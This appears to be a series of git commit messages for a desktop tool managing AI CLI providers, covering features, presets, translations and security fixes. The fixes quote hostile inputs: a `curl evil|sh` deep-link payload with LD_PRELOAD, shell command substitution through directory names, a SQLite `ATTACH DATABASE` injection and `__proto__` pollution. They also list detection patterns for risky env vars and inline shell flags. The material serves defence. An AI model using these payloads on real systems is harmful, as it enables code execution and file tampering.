* feat(opencode): load OMO models from runtime opencode models
Surface OAuth/Zen free models in OMO/OMO Slim pickers by running the
installed OpenCode CLI, with a 20s timeout and a toast when discovery fails.
* style: fix rustfmt and prettier for OMO runtime models
* fix(opencode): pass OPENCODE_CONFIG_DIR for runtime model discovery
Honor the configured OpenCode config directory when running
`opencode models`, including WSL UNC path translation. Also drop the
unused run_detected_tool_command wrapper that failed clippy.
* fix(opencode): satisfy Windows Clippy
* fix(opencode): bound runtime model discovery
* fix(opencode): address runtime model review feedback
* fix(ci): parenthesize unsafe kill expression
* feat(codex-oauth): show per-account usage in Auth Center
Each ChatGPT (Codex OAuth) account under Settings → 认证 now displays its
own subscription usage — reset countdowns and per-window progress bars —
directly in the account list, instead of usage only being visible on the
active provider card.
- Add useCodexOauthQuotaByAccountId(accountId) and refactor
useCodexOauthQuota to delegate to it (shared query key → cache reuse)
- Add CodexOauthAccountQuota, a thin per-account wrapper that reuses the
existing SubscriptionQuotaView expanded layout (same look and 5-state
handling as provider cards), with a light spinner on first load
- Render it under each account row in CodexOAuthSection; fetch once when
the Auth Center opens, manual refresh available (no polling)
Copilot is intentionally left out — same as before, this is Codex-only.
* refactor(codex-oauth): stable async loading placeholder for account usage
The account header (login + badges + actions) already renders independently
of the usage query — the quota is fetched async via Tauri invoke + React
Query, so the account never waits on it. Make that visually obvious and
jump-free: while the usage loads, show a spinner inside a placeholder shaped
like the final quota card (same rounded-xl / border / bg-card), so the card
morphs smoothly into the data instead of popping in from an empty gap.
* fix(codex-oauth): scope account quota to auth center
---------
Co-authored-by: Jason <farion1231@gmail.com>
Kimi is running an API top-up promotion (distinct from the Kimi Code
subscription): new users who complete their first successful top-up get 10%
of the amount back as API credit, capped at CNY 1,000.
In the four READMEs, add a dedicated bonus paragraph between the K3 intro and
the Kimi Code subscription line, so the API and subscription paths each keep
their own call to action. All platform links in the Kimi header block now
carry the campaign track_id: README_ZH uses the mainland platform.kimi.com
tracker, while the en/ja/de READMEs use the global platform.kimi.ai one. The
kimi.com/code subscription links are unchanged.
In the app, give the six Kimi presets (claude, claudeDesktop, codex, opencode,
openclaw, hermes) a partnerPromotionKey so the offer shows under the API key
link, and add the matching string in the zh/en/ja/zh-TW locales. The Kimi For
Coding presets are deliberately left alone — the promotion does not apply to
the subscription. Promotion display is decoupled from isPartner, so this adds
no gold partner star to Kimi.
The English and Japanese strings say "CNY ¥1,000" rather than "¥1,000", since
a bare yen sign reads as JPY in those locales and would understate the offer
by roughly 20x.
The in-app partnerPromotion.runapi string still advertised the retired
"register and contact support for CNY 14 free credit" offer, while all four
READMEs had already moved to the first-top-up discount. Align the zh, zh-TW,
en and ja strings with the README wording: 9 折 in Chinese, 10% off in
English and Japanese.
Remove the NekoCode sponsor row from the four README files (en, zh, ja, de)
and the provider preset across all seven preset files that carried it
(claude, claudeDesktop, codex, opencode, openclaw, hermes, grokBuild; there
was never a gemini preset). Also drop the matching partnerPromotion.nekocode
string in the zh/en/ja/zh-TW locales.
The nekocode icon stays registered in src/icons/extracted, since icon names
are persisted on existing provider records and removing it would blank out
the icon for users who already imported the preset. Historical CHANGELOG and
release-notes entries are left untouched.
When a third-party gateway returns tool calls without a function name,
the Chat -> Responses transform silently discarded them and still marked
the turn as `completed`. Codex then saw a successful turn with nothing
left to do and ended its agent loop without any error, turning a
diagnosable upstream failure into a silent stall.
- Emit `response.failed` (streaming) or a transform error (non-streaming)
when every tool call in a turn was dropped and none remains usable.
Gated on `status == "completed"` so that `finish_reason: length`
truncation keeps its own `incomplete` semantics, matching the existing
Anthropic streaming path.
- Log all three drop sites with structured, content-free fields (call_id
presence, argument byte counts, finish reason) so the upstream defect
can finally be diagnosed from real traffic.
- Treat whitespace-only function names as missing, and resolve tool keys
conservatively when upstream omits the required `index` field.
Turns that still contain a valid tool call, text-only turns and truncated
turns are unaffected. Adds 13 tests.
Refs #4341
* fix(skills): resolve source dir by SKILL.md anchor instead of name
resolve_skill_source_dir previously guessed the source dir via root.join(name).is_dir() without verifying SKILL.md, misjudging same-name non-skill dirs (e.g. the ast-grep plugin wrapper dir in ast-grep/agent-skill) and causing install failure #4141.
Now anchors on SKILL.md: direct + SKILL.md check -> root manifest explicit skills[] -> fallback by name -> root fallback. Adds 5 layout tests.
Closes#4141
* fix(skills): drop speculative manifest resolver path
resolve_via_manifest (parsing root .claude-plugin/marketplace.json &
plugin.json explicit skills[]) is inert for the actual #4141 case: the
real ast-grep/agent-skill marketplace.json declares no skills[] array,
so the manifest branch never produces a candidate. The #4141 fix is
delivered entirely by resolve_skill_source_dir step 1's SKILL.md anchor
plus the pre-existing find_skill_dir_by_name DFS.
Keeping the manifest path would pull npx-skills package-parity semantics
(pluginRoot / source / remote-object source / skills[] / "./"-validation
/ ...) into a bug hotfix, with no real manifest proving it is not dead
code. Drop it to keep this PR a focused #4141 hotfix.
- remove SkillMarketplaceMetadata / SkillManifestPlugin /
SkillMarketplaceManifest, resolve_via_manifest, sanitize_manifest_path
- narrow resolve_skill_source_dir to 3 steps
(direct+SKILL.md -> by-name DFS+SKILL.md -> root+SKILL.md -> None)
- replace the two synthetic manifest tests with a negative case:
same-name wrapper dir without SKILL.md and no inner skill -> None
cargo test --lib resolve_skill_source_dir: 7 passed
cargo clippy --lib: clean
* feat(pricing): seed Qwen3.8 Max built-in model pricing
Add insert-if-absent row for qwen3.8-max at 2/6 USD per Mtok input/output with 0.20 cache read.
* fix(pricing): set qwen3.8-max cache write to 2.50
Align cache_write with official explicit context-cache rate (125 percent of input). cache_read stays 0.20 (10 percent hit).
* fix(pricing): correct qwen3.8-max cache read price
---------
Co-authored-by: Jason <farion1231@gmail.com>
* 修复 Copilot 与新版 Claude Code 的兼容问题
* docs(proxy): correct Copilot placeholder rationale to the real mechanism
Claude Code (verified on 2.1.220) does not format-validate ANTHROPIC_API_KEY
against sk-ant-*: in headless mode the placeholder is sent upstream as-is.
The actual failure mode is the interactive custom-API-key approval prompt,
which defaults to "No (recommended)" — following the default ignores the
key and lands users in "Not logged in". Also drop the #3289 citation,
which describes a missing-placeholder scenario, not key validation.
---------
Co-authored-by: Jason <farion1231@gmail.com>
* fix(hermes): use SOUL.md instead of AGENTS.md for Hermes prompt filename
* test(hermes): add regression test for SOUL.md prompt filename
---------
Co-authored-by: mmm-05610 <maoqh@users.noreply.github.com>
Co-authored-by: Jason <farion1231@gmail.com>
Remove the Unity2.ai sponsor entry from the four README files (en, zh, ja,
de) and the provider preset across all eight preset files (claude, codex,
gemini, opencode, openclaw, hermes, claudeDesktop, grokBuild). Also drop
the matching partnerPromotion.unity2 string in the zh/en/ja/zh-TW locales.
Historical CHANGELOG and release-notes entries are left untouched.
The Usage Guides entry told readers the guide's DeepSeek sections no
longer applied to this release. That was true when v3.19.1 shipped, but
the guide has since been rewritten for it, so the warning now steers
people away from an accurate document.
Replace it with what the guide actually says: presets created after
3.19.1 connect directly, while providers saved earlier and
deepseek-v4-pro still need routing. Also drop MiniMax from the
Chat-format list — it moved to native Responses too — and name Zhipu GLM
instead.
The published release body on GitHub was updated to match.
The guide used DeepSeek as its Chat-format example, which stopped being
accurate once the preset moved to native Responses. It is not obsolete,
though: a provider saved before 3.19.1 keeps its stored apiFormat and
still carries the "needs routing" badge, and deepseek-v4-pro has no
official Codex integration yet, so Chat + routing remains its only path.
Rather than swap in a different provider, open with a check for which
case the reader is in (badge present/absent/no-routing-support) plus a
three-row table for DeepSeek specifically. The title and filename stay
put — six published release notes and three sibling guides link here.
Also in this pass:
- Drop the screenshot of the old boolean "needs local routing mapping"
toggle; that control is now Advanced Options -> Upstream Format, a
three-way select. The image file stays, since the official-auth
preservation guide still references it.
- Document the Anthropic Messages format, previously unmentioned.
- Fix the Chat-provider list: DeepSeek and MiniMax both moved to
Responses, so name Kimi, Zhipu GLM, SiliconFlow and ModelScope.
- Note that converting an existing provider keeps the official catalog's
capabilities (freeform apply_patch, GPT-5 harness, low/high/max,
web_search) but that its stored contextWindow of 1000000 overrides the
official 1048576, with two ways to fix it.
- Record the direct connection's prerequisites: Codex CLI 0.144.0+ and a
~75 KB catalog file.
- Add a usage-attribution section: the provider dimension collapses into
Codex (Session), while the model dimension still separates rows.
- Reference DeepSeek's official Codex integration and Responses API docs.
All UI terms are taken from the locale files so they match what the app
actually renders in each language.
Official TokenHub Codex docs (cloud.tencent.com/document/product/1823/133532)
confirm hy3 speaks the Responses API natively; the mandatory
disable_response_storage=true is already emitted by the config
generator. Models hy3/hy3-preview are text-only with a 256k context
window. Endpoint candidates include the official backup domain, while
the intl site is excluded because API keys are region-scoped.
Official Codex docs (volcengine.com/docs/82379/2556056, updated
2026-07) confirm the Coding Plan endpoint /api/coding/v3 supports the
Responses API, so the preset no longer needs local route conversion.
BytePlus stays on Chat routing until the international-site docs are
verified. Also document the billing pitfall: the pay-as-you-go /api/v3
endpoint must never appear in plan-subscription endpoint candidates.
- Switch the DeepSeek preset to openai_responses and align context
windows with the official catalog (1048576)
- Mirror DeepSeek's official models.json verbatim for native /responses
providers on deepseek.com hosts, keeping the official GPT-5 harness
and freeform apply_patch registration self-consistent
- Make catalog spec displayName/contextWindow explicit-only (Option) so
local defaults no longer clobber official vendor values
`grok update` discovers and installs releases by spawning `npm view` and
`npm i -g`, even for xAI's native install — 0.2.112 moved the self-update
path onto npm distribution, so the binary now needs node on PATH.
Lifecycle scripts run under a non-login `bash -c` inheriting launchd's
narrow PATH, where npm and node are invisible, so upgrading grok failed
with a bare `Error: No such file or directory (os error 2)`.
Inject the login shell's real PATH into run_tool_lifecycle_silently,
closing the asymmetry between probing (`$SHELL -lic`, which reads .zshrc)
and execution (non-login bash). Read it through `/usr/bin/env` rather
than `echo $PATH`: fish stores PATH as a list and would emit
space-separated segments, while env always prints the child's real
environment. This also revives the install chain's bare `npm i -g`
fallback, which could only ever exit 127 under the narrow PATH.
Chain the official installer after native Grok's self-update. An npm
fallback would share both of the primary's failure modes — no node, or a
registry mirror missing the tarball — and fail alongside it; the
installer is the only node-free path and lands in the same ~/.grok/bin.
It also rewrites `[cli] installer` back to `internal`, healing users whom
the install-time npm fallback had switched onto npm distribution.
* fix(i18n): add missing grokBuild translation keys to all locales
providerForm.requiredFields and failover.tooltip.takeoverRequired were
missing from all four locale files (en, zh, zh-TW, ja). The Grok Build
provider form validation toast and the failover tooltip fell back to
hardcoded Chinese defaultValue, which leaked simplified Chinese into
zh-TW and zh-Hant UI even though fallbackLng is set to en.
Add the two keys to every locale so each language shows its own
translation.
Co-Authored-By: Claude <noreply@anthropic.com>
* fix(i18n): add 6 more missing translation keys to all locales
A broader scan found six more keys referenced in code with hardcoded
Chinese defaultValue but missing from all four locale files (en, zh,
zh-TW, ja):
- provider.duplicateLiveIdsLoadFailed (App.tsx provider duplicate toast)
- codexConfig.noCommonConfigToApply (useCodexCommonConfig snippet error)
- claudeDesktop.route.stopBlockedByTakeover (ClaudeDesktopRouteToggle warning)
- notifications.proxyReasonClaudeDesktop (useProviderActions proxy reason)
- proxy.server.stopped / proxy.server.stopFailed (useProxyStatus toasts)
Add proper per-language translations to all locales, matching the
existing sibling-key style (e.g. proxy.server.started/startFailed uses
the same {{detail}} interpolation).
Co-Authored-By: Claude <noreply@anthropic.com>
* fix(i18n): add missing unpriced translations
---------
Co-authored-by: Claude <noreply@anthropic.com>
Co-authored-by: Jason <farion1231@gmail.com>
Complete the Traditional Chinese strings for the About-page tool manager and align the install/update hint with the current supported tools. Add locale coverage that requires every tool-management label and preserves interpolation variables across all four translations.
Constraint: The About tool manager was extended across three commits without matching zh-TW entries.
Rejected: Rely on i18next fallback text | leaves the Traditional Chinese UI partially English and hides future locale drift.
Confidence: high
Scope-risk: narrow
Directive: Update toolManagementLocales.test.ts whenever the About tool manager adds a translatable label.
Tested: pnpm typecheck; pnpm format:check; 7 locale tests; 575 Vitest tests; zero missing zh-TW settings keys
Not-tested: Manual visual inspection of the About page
Related: e3df86587, ea604a182, 014c82d28
The toolbar app switcher used a ResizeObserver-based overflow detection
(useAutoCompact) to collapse app labels when space ran out. With the
number of managed apps growing, the labels are collapsed in practice
anyway, so remove the mechanism and render icons only. Buttons now carry
title/aria-label so app names remain discoverable via tooltip and
accessible to screen readers.
Add three fallback endpoints alongside the primary www.packyapi.ai across
the five preset files that support endpointCandidates:
https://cf.api.fanhttps://slb-v1.api.fanhttps://www.packyapi.com
The /v1 suffix follows each file's existing convention rather than the
literal values supplied: bare domains for the Anthropic-native presets
(Claude Code, Claude Desktop, Gemini), /v1 for Codex and Grok Build.
Candidates are consumed as complete base URLs by the endpoint picker and
the speed test, so they must sit at the same path level as the primary.
www.packyapi.com is the pre-b0482320 domain, kept here deliberately as a
fallback -- not a leftover of that migration.
OpenCode, OpenClaw and Hermes have no endpointCandidates field in their
interfaces and are untouched.
Both presets pinned gemini-3.1-pro-preview while the other Gemini presets
had moved to gemini-3.6-flash. Note this is a tier change rather than a
version bump: there is no 3.6 Pro release and 3.5 Pro is still limited to
partner testing, so the current baseline is a flash-tier model.
The gemini-3.1-pro-preview row in the built-in pricing seed is kept so
historical usage keeps its cost.
Add the A6API aggregator preset to Claude Code, Claude Desktop, Codex,
Gemini CLI, OpenCode, OpenClaw, Hermes and Grok Build, placed after
NekoCode in the sponsor ordering. Base URLs follow the per-client
convention: no /v1 suffix for the Anthropic-native and Gemini endpoints,
/v1 for the OpenAI-compatible ones. Model defaults mirror NekoCode.
Also add the four-locale promotion copy, the sponsor row in all four
READMEs and the icon index entry.
The supplied artwork was resized before landing: the icon was a 1024x1024
PNG base64-wrapped in an SVG shell (652K, the largest entry in iconUrls
and shipped in every build), now a 256x256 PNG at 60K; the banners were
16:9, the only ones deviating from the 2.406 project standard, now
cropped to 1280x532.
The two cleanup-guard tests introduced in ff3bc242 set the process-global
TMPDIR to a scratch dir and asserted it ended up empty. serial_test only
serializes marked tests, so any concurrent test creating a tempdir inside
the hijacked window landed in scratch and randomly failed the emptiness
assertion on Ubuntu/macOS CI (Windows ignores TMPDIR).
Add an extract_local_zip_in(zip_path, base_dir) seam that takes the temp
base explicitly; the public function delegates with std::env::temp_dir().
Tests now pass their private scratch dir directly, dropping the TMPDIR
mutation and the serial markers — the race is impossible by construction.
The policy explained how to report but never what counts as a
vulnerability, so any finding phrased as "IPC command X, given parameter
Y, writes a file" arrived as a valid report.
Records the trust boundary as a scoping decision supported by four
checkable facts about the shipped renderer, each with the condition that
would invalidate it. The exemption covers only reports whose sole route
to the IPC surface is DevTools or a locally modified frontend; a chain
starting from a deep link, remote data, an inbound proxy request or an
XSS stays in scope. Trust in the renderer covers the code we ship, not
arbitrary values flowing through it.
Notable corrections to the first draft, from review:
- the app is not free of server components: it runs a local HTTP proxy
whose listen address is user-configurable and may be non-loopback.
Inbound requests to it are now listed as untrusted input
- "no remote content" was already false. The renderer fetches model
pricing JSON and provider avatars, which CSP permits. Narrowed to
remote *executable* content, and the remote data it does fetch is
named and classified as untrusted
- having the same filesystem permissions as the user does not make a
write the user's decision. Confused-deputy cases, where an untrusted
source controls the path or content, are in scope
- user-authored integrations that run commands are out of scope; the
same integrations arriving by import or deep link are not, and the
required property there is informed consent
- being in scope here and meeting GitHub's CVE eligibility criteria
are separate questions, decided by different parties
All three manuals stated the parameter defaults to true. It now defaults
to false, and the script body is shown in full before import. Without an
explicit `true` the script is imported but left disabled, and can be
enabled from the app.
An imported usage script is JavaScript that runs whenever usage is
queried. Two things made it possible to acquire one without seeing it:
- `usage_enabled.unwrap_or(!code.is_empty())` treated the presence of
code as a decision to run it, so a link that simply carried a script
got it enabled
- the confirmation dialog rendered only an enabled/disabled badge; the
script body was never displayed
Default to disabled. Enabling now requires `usageEnabled=true` in the
link -- which is the link author's request, not the user's consent. The
consent is the user pressing Import after seeing the full script body
and the badge, which is why both displays are load-bearing rather than
decorative.
The badge predicate moves from `!== false` to `=== true` to match the
new backend default. Left alone it would have started rendering "did not
say" as a green "Enabled" -- more optimistic than what would actually
happen.
Extracts the payload decode into `decodeDeeplinkPayload`, which falls
back to the raw string when decoding fails or yields empty. A dialog
whose job is to show what is about to be written must not let a payload
vanish just because it is malformed; empty reads as "there is no
script", which is exactly the wrong impression.
The renderer only fed input to `atob`, which rejects the URL-safe
alphabet (RFC 4648 §5). The backend, meanwhile, tries STANDARD,
STANDARD_NO_PAD, URL_SAFE and URL_SAFE_NO_PAD in turn, so a link whose
payload used `-`/`_` decoded fine on the way in but not on the way to
the screen.
`decodeBase64Utf8` swallows its own failure and returns the input
unchanged, so the mismatch was silent:
- usage script -> the confirmation showed opaque Base64
- prompt -> same
- MCP config -> `JSON.parse` threw, the catch returned null, and
the dialog rendered "0 servers" with an empty list
The MCP case defeated the server/argument display added earlier: a
one-character substitution made the whole list disappear while the
backend still imported the real `mcpServers` entry.
Normalize `-` to `+` and `_` to `/` before decoding, in both the primary
path and the last-resort fallback, so the two sides agree on what a
payload says. Standard Base64 contains neither character, so this cannot
misread standard input.
Adds the first tests for this shared decoder. They exercise the real
implementation rather than an injected stub, and assert their own
premise -- a payload whose standard encoding happens to contain no `+`
or `/` makes the URL-safe conversion a no-op and the test vacuous.
The MCP confirmation rendered only `Command: ${spec.command}`, inside a
`truncate` container, and showed neither `args` nor `env`. The realistic
payload -- `command: "sh"`, `args: ["-c", "curl evil|sh"]`, plus an
`env` carrying LD_PRELOAD -- therefore displayed as a harmless
`Command: sh`. On confirm it is written to `~/.claude.json` and the other
live files, and the CLI spawns it on next launch.
Render command, args, url and env on separate lines, expanding args
item by item rather than joining them: the payload usually sits inside
one argument, and joining then truncating is exactly how it stayed
hidden. `break-all` replaces `truncate` so nothing is clipped out of
view. Rows matching a `classify*` helper are marked, with a summary
block underneath since per-row markers are easy to skim past.
The provider side already listed env keys and values; it gains the same
highlighting, `break-all`, and an endpoint marker, and now shares
`maskValue` with the MCP view.
Show the "written to the target apps immediately" warning
unconditionally. It was gated on `request.enabled`, but the MCP import
path never reads that field -- `deeplink/mcp.rs` has no reference to it
and calls `set_enabled_for(&app, true)` unconditionally, unlike
prompt.rs, skill.rs and provider.rs which do honour it. Gating on it let
a malicious link omit `enabled` to suppress the warning while the write
behaviour stayed identical, turning the warning into a switch the
attacker controls.
New i18n keys added to all four locales (zh/en/ja/zh-TW).
Pure helpers used only to annotate the deep-link confirmation dialog.
They deliberately do not block anything: custom endpoints and env vars
are normal third-party provider configuration (`http://localhost:11434`
is ordinary Ollama usage), so filtering them would break legitimate
setups. The actual gap is that the user cannot see what they are
approving, which is a visibility problem, not a policy one.
- `classifyEnvKey` flags variables that change how a process loads code
rather than which API it talks to: LD_*/DYLD_*, NODE_OPTIONS,
NODE_EXTRA_CA_CERTS, PYTHONPATH, PATH, HTTP(S)_PROXY and friends. No
legitimate provider preset needs these set over a shared link.
- `classifyEndpoint` matches loopback, RFC 1918, link-local and cloud
metadata addresses. Literal matching only, no DNS resolution: resolving
adds latency and the answer can differ from what the client resolves
later (rebinding), so treating it as a control would be false
assurance. Handles IPv4-mapped IPv6, since `new URL()` normalizes
`[::ffff:127.0.0.1]` to hex `[::ffff:7f00:1]` and a dotted-quad regex
alone misses that whole class.
- `classifyCommand` looks at command *and* args, because the realistic
payload is `command: "sh"` with `args: ["-c", "curl evil|sh"]` -- a UI
that renders only the command shows a harmless `sh`. Inline-command
flags are matched by shape, not by literal, to cover combined POSIX
short options (`bash -lc`), case-insensitive `cmd /C`, and PowerShell's
abbreviations of `-Command`.
Every parameter takes `unknown`. These values come from arbitrary
base64-decoded JSON, where TypeScript annotations offer no runtime
guarantee; a non-string `command` would throw on `.split()` and blank the
whole confirmation dialog, which is worse than the misleading render it
replaces -- the user would not even see that something wants importing.
`maskValue` moves here from the dialog component so the MCP and provider
confirmations share one redaction rule instead of drifting apart.
`JSON.parse('{"__proto__":{…}}')` produces `__proto__` as an *own
enumerable* property, so `Object.entries` yields it; and
`isPlainObject(Object.prototype)` is true, so `deepMerge` skipped its
"replace with empty object" branch and merged straight into the global
prototype. Reproduced, not inferred.
`deepRemove` had the same shape and was destructive: `"__proto__" in
target` is always true because `in` walks the prototype chain, so it
recursed into `Object.prototype` and deleted from it.
Reachable without XSS: `settings` is not in the sync skip/preserve lists,
so `common_config_*` is overwritten by whatever the WebDAV/S3 remote
sends, and opening a provider form merges it.
Guard all three walkers that share the traversal shape. The third,
`isSubset`, only reads and cannot pollute, but following
`target["__proto__"]` made `{"__proto__":{}}` a subset of *every* config,
so the "common config applied" toggle read wrong. It also now requires
own properties, since an inherited key is not "present in the config".
`isSubset` rejects on a forbidden key rather than skipping: if a future
caller bypasses sanitization, reporting "not applied" is the safe
direction because re-applying is idempotent.
That rejection alone left an inconsistency: merge skips forbidden keys
and keeps going, so `{"env":{"A":"1"},"__proto__":{}}` really did write
`env.A` while `hasCommonConfigSnippet` reported it as never applied.
Fixed by sanitizing on the *reading* side only, so the comparison runs
against exactly what the write side produces. Deliberately not applied to
the write path: `deepMerge`/`deepRemove` already skip these keys, so
sanitizing first is byte-for-byte identical there -- an unfalsifiable
call that would wrongly imply the walkers cannot handle their own input.
`deepCloneFallback` gets the same skip. Its impact differs and the
comment says so: it does not reach the global prototype, it swaps the
clone's own prototype, giving the copy ghost properties. It is dead while
`structuredClone` exists, but the two paths disagreed on `__proto__`.
`launch_session_terminal` takes an arbitrary string from the renderer and
hands it to a shell. External audits report this as arbitrary command
execution over IPC. Document it as a known, accepted risk instead of
leaving it to be re-reported every audit cycle.
The precondition for exploiting it is control over the renderer, which
already implies local code execution as the user -- at which point going
through this command grants nothing extra. The renderer is treated as a
trusted boundary, supported by four facts each verified against the tree:
- the only `dangerouslySetInnerHTML` (ProviderIcon) takes an icon *name*,
gated by `hasIcon()`, and reads the SVG from a build-time registry;
neither users nor deep links can supply markup
- no `eval` / `new Function` anywhere in the frontend
- `frontendDist` points at the bundled output, the webview loads no
remote origin, and there are no `<iframe>` / `<webview>` elements
- CSP is `script-src 'self'` -- no inline and no external scripts
The note lists what invalidates the conclusion, so the exemption is
falsifiable rather than a standing opinion: rendering network- or
config-sourced rich text, embedding a webview or navigating to a remote
origin, relaxing `script-src`, or introducing any way to execute
external code in the renderer. Any of those and this command must be
changed to accept a session identifier and rebuild the command in the
backend.
It also states explicitly that `cwd` is *not* covered. That value comes
from disk scanning and can legitimately contain `$(...)` regardless of
renderer trust, which is why it is escaped rather than exempted. Without
that sentence "the renderer is trusted" invites being read as "nothing
on this path needs handling".
`shell_escape` wrapped the working directory in double quotes and escaped
only `\` and `"`. Inside double quotes a shell still expands `$(...)`,
backticks and `$VAR`, so the quoting stopped spaces but not command
substitution. Verified: `cd "/tmp/$(id -un)"` runs `id`.
The value is `selectedSession.projectDir` -- a real path recorded in the
AI CLI's session history. macOS allows `$`, `(` and `)` in directory
names, so any project whose folder is named that way triggers it on
Resume; no compromised renderer is required.
Three built-in launchers were affected because they route through
`build_shell_command(command, cwd)`: Terminal.app, iTerm and kitty.
Ghostty, WezTerm/Kaku and Alacritty were already correct -- they pass the
directory as its own argv element (`--working-directory` / `--cwd`) and
call `build_shell_command(command, None)`. Terminal and iTerm go through
AppleScript `do script`, which accepts a single shell line and has no
cwd parameter, so correct quoting is the only option there.
Switch to POSIX single quotes, where nothing expands, using the
close-escape-reopen `'\''` sequence for embedded quotes. A test pins the
two-layer interaction with `escape_osascript`, which doubles backslashes
on the way into the AppleScript literal.
Also escape the `{cwd}` substitution in `launch_custom`, and correct that
function's comment: the escaping there is context-dependent and only
holds while the placeholder sits in an unquoted shell word. A template
written as `echo "{cwd}"` puts the inserted quotes inside double quotes
and command substitution runs again. The branch has no UI entry point
today; the note now says it must be redesigned before one is added
rather than implying it is already safe.
`import_sql_string_inner` validated only that the file starts with the
`-- CC Switch SQLite 导出` comment, then handed the whole text to
`execute_batch`. Anything after that prefix ran unchecked, so a crafted
backup could `ATTACH DATABASE '/path/x.db'` and create a SQLite file
anywhere the user can write. The side effect lands before
`validate_basic_state`, so the file survives even when the import as a
whole fails. `settings` is in neither SYNC_SKIP_TABLES nor
SYNC_PRESERVE_TABLES, so the WebDAV/S3 sync path reaches the same code.
Install a SQLite authorizer for the duration of the external batch only,
then clear it so our own schema maintenance is unaffected.
Deny what can leave the temp database rather than allow-listing what
`dump_sql` emits. The batch runs on a throwaway NamedTempFile whose
entire contents are already decided by that same SQL, so DELETE/DROP/
UPDATE hand an attacker nothing new -- the only meaningful boundary is
the temp file itself. A strict allow-list only adds the risk of refusing
a legitimate backup whose schema has a shape we did not anticipate.
The denied set was measured, not guessed: `ATTACH DATABASE 'x'`,
`VACUUM INTO 'x'` and bare `VACUUM` all surface as `AuthAction::Attach`,
so one rule covers all three -- which keyword scanning would not, since
`VACUUM INTO` contains no "ATTACH". Also deny vtable creation
(file-backed modules such as csvfile can read and write arbitrary paths)
and `Unknown`, so future SQLite statements fail closed.
Tests cover both denied statements (asserting no file is left on disk,
not merely that the call errors) and a real export round-trip, which
guards against the allow-list regressing into false refusals.